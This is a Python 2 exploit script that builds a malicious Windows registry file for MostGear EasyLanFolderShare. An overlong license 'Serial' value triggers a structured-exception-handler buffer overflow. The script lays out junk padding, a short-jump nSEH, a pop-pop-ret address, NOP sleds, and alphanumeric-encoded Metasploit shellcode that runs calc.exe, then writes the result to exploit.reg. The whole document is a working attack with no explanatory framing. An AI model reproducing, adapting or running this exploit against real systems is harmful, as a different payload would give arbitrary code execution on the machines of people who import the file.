header  = "Windows Registry Editor Version 5.00\n\n"
header += "[HKEY_LOCAL_MACHINE\SOFTWARE\MostGear\EasyLanFolderShare_V1\License]\n"
header += "\"BeginDate\"=\"8/2/2013\"\n"
header += "\"ExpireDate\"=\"8/17/2013\"\n"
header += "\"UserName\"=\"a\"\n"
header += "\"Serial\"=\""
 
junk = "\x41" * 550
nseh = "\xEB\x27\x90\x90" # jmp short 0x29
seh  = "\xEF\x03\xFC\x7F" # pop pop ret
padding = "\x90" * 33     # Required as some random characters appear on the stack
 
#msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_upper -t c
#[*] x86/alpha_upper succeeded with size 469 (iteration=1)
shellcode = (
"\x89\xe2\xd9\xf6\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x33\x30"
"\x43\x30\x53\x30\x35\x30\x4c\x49\x4b\x55\x46\x51\x38\x52\x43"
"\x54\x4c\x4b\x30\x52\x56\x50\x4c\x4b\x36\x32\x44\x4c\x4c\x4b"
"\x36\x32\x54\x54\x4c\x4b\x33\x42\x47\x58\x54\x4f\x4f\x47\x50"
"\x4a\x46\x46\x56\x51\x4b\x4f\x36\x51\x59\x50\x4e\x4c\x37\x4c"
"\x55\x31\x43\x4c\x43\x32\x36\x4c\x51\x30\x49\x51\x48\x4f\x34"
"\x4d\x43\x31\x48\x47\x4a\x42\x4a\x50\x36\x32\x50\x57\x4c\x4b"
"\x50\x52\x44\x50\x4c\x4b\x47\x32\x37\x4c\x43\x31\x48\x50\x4c"
"\x4b\x57\x30\x44\x38\x4c\x45\x59\x50\x44\x34\x31\x5a\x53\x31"
"\x4e\x30\x50\x50\x4c\x4b\x50\x48\x32\x38\x4c\x4b\x36\x38\x37"
"\x50\x55\x51\x48\x53\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x50\x34"
"\x4c\x4b\x35\x51\x48\x56\x46\x51\x4b\x4f\x56\x51\x59\x50\x4e"
"\x4c\x39\x51\x58\x4f\x44\x4d\x35\x51\x49\x57\x50\x38\x4d\x30"
"\x34\x35\x4c\x34\x35\x53\x43\x4d\x4c\x38\x37\x4b\x33\x4d\x46"
"\x44\x44\x35\x4a\x42\x51\x48\x4c\x4b\x56\x38\x36\x44\x43\x31"
"\x39\x43\x33\x56\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x30\x58\x45"
"\x4c\x35\x51\x4e\x33\x4c\x4b\x33\x34\x4c\x4b\x55\x51\x4e\x30"
"\x4d\x59\x57\x34\x46\x44\x47\x54\x51\x4b\x31\x4b\x53\x51\x46"
"\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x31\x48\x51\x4f\x30\x5a"
"\x4c\x4b\x32\x32\x4a\x4b\x4c\x46\x51\x4d\x42\x4a\x53\x31\x4c"
"\x4d\x4c\x45\x58\x39\x55\x50\x43\x30\x45\x50\x30\x50\x42\x48"
"\x56\x51\x4c\x4b\x52\x4f\x4d\x57\x4b\x4f\x48\x55\x4f\x4b\x4b"
"\x4e\x44\x4e\x36\x52\x4a\x4a\x43\x58\x39\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x4e\x35\x57\x4c\x55\x56\x53\x4c\x34\x4a\x4d"
"\x50\x4b\x4b\x4d\x30\x32\x55\x33\x35\x4f\x4b\x51\x57\x52\x33"
"\x32\x52\x32\x4f\x32\x4a\x43\x30\x31\x43\x4b\x4f\x39\x45\x35"
"\x33\x45\x31\x42\x4c\x35\x33\x46\x4e\x42\x45\x33\x48\x42\x45"
"\x33\x30\x41\x41"
)
 
trailer = "\x90" * (2000 - len(junk + nseh + seh + padding + shellcode)) + "\"\n\n"
buffer = header + junk + nseh + seh + padding + shellcode + trailer
 
textfile = open("exploit.reg" , 'w')
textfile.write(buffer)
textfile.close()
 
print "[*] Done"